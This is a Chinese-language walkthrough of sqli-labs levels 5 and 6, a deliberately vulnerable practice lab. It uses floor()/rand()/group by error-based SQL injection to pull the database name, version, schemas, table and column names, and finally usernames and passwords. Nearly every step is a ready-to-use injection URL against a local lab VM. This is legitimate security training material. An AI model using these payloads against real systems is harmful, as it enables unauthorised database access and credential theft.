基于floor函数报错注入sqli-labs less-5和less-6
sqli-labs第五六关基于floor报错注入
测试基于虚拟机搭建的靶场,在主机浏览器进行测试
首先能到第五关的对于基础的字符数字型判断,闭合方式,列数判断有一定了解,所以不再进行演示,直接进行数据爆破
关于floor函数报错注入详解可以参考:
关于floor()报错注入,你真的懂了吗?
floor()报错注入的原因是group by在向临时表插入数据时,由于rand()多次计算导致插入临时表时主键重复,从而报错,又因为报错前concat()中的SQL语句或函数被执行,所以该语句报错且被抛出的主键是SQL语句或函数执行后的结果。
直接开始测试
http://192.168.128.3/sq/Less-5/?id=1’ union select 1,count(*),concat(‘~’,(select database()),floor(rand(14)*2)) as a from information_schema.tables group by a --+
爆出数据库
版本
http://192.168.128.3/sq/Less-5/?id=1’ union select 1,count(*),concat(‘~’,(select version()),floor(rand(14)*2)) as a from information_schema.tables group by a --+
爆出数据库
http://192.168.128.3/sq/Less-5/?id=1’ union select 1,count(*),concat(‘~’,(select (schema_name) from information_schema.schemata limit 5,1 ),floor(rand(14)*2)) as a from information_schema.tables group by a --+
可以修改limit函数的1来查看所有的数据库名
http://192.168.128.3/sq/Less-5/?id=1’ union select 1,count(*),concat(‘~’,(select table_name from information_schema.tables where table_schema=database() limit 3,1 ),floor(rand(14)*2)) as a from information_schema.tables group by a --+
也可以修改limit函数查看所有表明
爆出列名
http://192.168.128.3/sq/Less-5/?id=1’ union select 1,count(*),concat(‘~’,(select concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’ limit 2,1 ),floor(rand(14)*2)) as a from information_schema.tables group by a --+
爆出数据
http://192.168.128.3/sq/Less-5/?id=1’ union select 1,count(*),concat(‘~’,(select concat(‘~’,username,password) from security.users limit 1,1 ),floor(rand(14)*2)) as a from information_schema.tables group by a --+
至此,第五关的基本完成,第六关与第五关同理,只不过闭合方式不同,第六关闭合方式为"
,对于上面提及的文章,个人十分推崇。